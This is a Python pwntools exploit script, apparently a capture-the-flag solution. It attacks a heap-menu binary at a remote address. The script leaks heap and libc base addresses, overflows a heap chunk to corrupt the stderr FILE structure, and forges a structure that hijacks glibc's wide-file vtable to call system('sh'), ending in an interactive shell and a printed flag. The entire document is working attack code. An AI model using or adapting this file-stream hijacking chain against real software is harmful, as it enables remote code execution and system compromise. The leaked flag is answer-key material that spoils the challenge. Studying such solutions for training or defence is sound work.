from pwn import *
context.log_level = "debug"
# io = process("./prob")
io = remote("158.247.232.53", 9919)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
def FSOP_struct(
flags=0,
_IO_read_ptr=0,
_IO_read_end=0,
_IO_read_base=0,
_IO_write_base=0,
_IO_write_ptr=0,
_IO_write_end=0,
_IO_buf_base=0,
_IO_buf_end=0,
_IO_save_base=0,
_IO_backup_base=0,
_IO_save_end=0,
_markers=0,
_chain=0,
_fileno=0,
_flags2=0,
_old_offset=0,
_cur_column=0,
_vtable_offset=0,
_shortbuf=0,
lock=0,
_offset=0,
_codecvt=0,
_wide_data=0,
_freeres_list=0,
_freeres_buf=0,
__pad5=0,
_mode=0,
_unused2=b"",
vtable=0,
more_append=b"",
):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += (
p64(_IO_buf_base)
+ p64(_IO_buf_end)
+ p64(_IO_save_base)
+ p64(_IO_backup_base)
+ p64(_IO_save_end)
)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += (
p64(_old_offset)
+ p16(_cur_column)
+ p8(_vtable_offset)
+ p8(_shortbuf)
+ p32(0x0)
)
FSOP += (
p64(lock)
+ p64(_offset)
+ p64(_codecvt)
+ p64(_wide_data)
+ p64(_freeres_list)
+ p64(_freeres_buf)
)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00" * 0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
def generate():
io.sendlineafter(b"> ", b"1")
def transmit(src, dest, amount):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"src: ", str(src).encode())
io.sendlineafter(b"dest: ", str(dest).encode())
io.sendlineafter(b"amount: ", str(amount).encode())
def use(idx, data):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"data: ", data)
def delete(idx):
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"idx: ", str(idx).encode())
# Heap base leak
generate()
generate()
transmit(1, 0, 0x110)
delete(0)
io.recvn(0x11E)
heap_base = u64(io.recvn(8)) - 0x3F0
log.info(f"heap base: {hex(heap_base)}")
delete(1)
# Libc base leak
generate()
generate()
for i in range(2, 7):
generate()
transmit(i, 1, 0x100)
transmit(1, 0, 0x1000)
delete(0)
io.recvn(0xBD6)
libc_base = u64(io.recvn(8)) - 0x203B20
if libc_base < 0:
raise EOFError
libc.address = libc_base
log.info(f"libc base: {hex(libc_base)}")
for i in range(7):
delete(i)
fake_fsop_struct = libc.sym["_IO_2_1_stderr_"]
FSOP = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=fake_fsop_struct + 0x1100,
_wide_data=fake_fsop_struct - 0x10,
_markers=libc.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(fake_fsop_struct - 0x8),
vtable=libc.symbols["_IO_wfile_jumps"] - 0x40,
_mode=0xFFFFFFFF,
)
# heap overflow
generate()
generate()
generate()
generate()
transmit(3, 2, 0x10000)
pay = b"\x00" * 0x100
pay += p64(0) + p64(0x210) + p64(heap_base >> 12) + p64(0) * ((0x200 - 8) // 8)
pay += p64(0) + p64(0x20) + p64(0x1000) + p64(libc.sym["_IO_2_1_stderr_"])
use(2, pay)
use(3, FSOP)
io.sendline(b"1")
io.interactive()
# DH{00b8ae3070fe7791a9ef73d627955dc65f561f710cc5891b80f72fdd8d1ec2ce}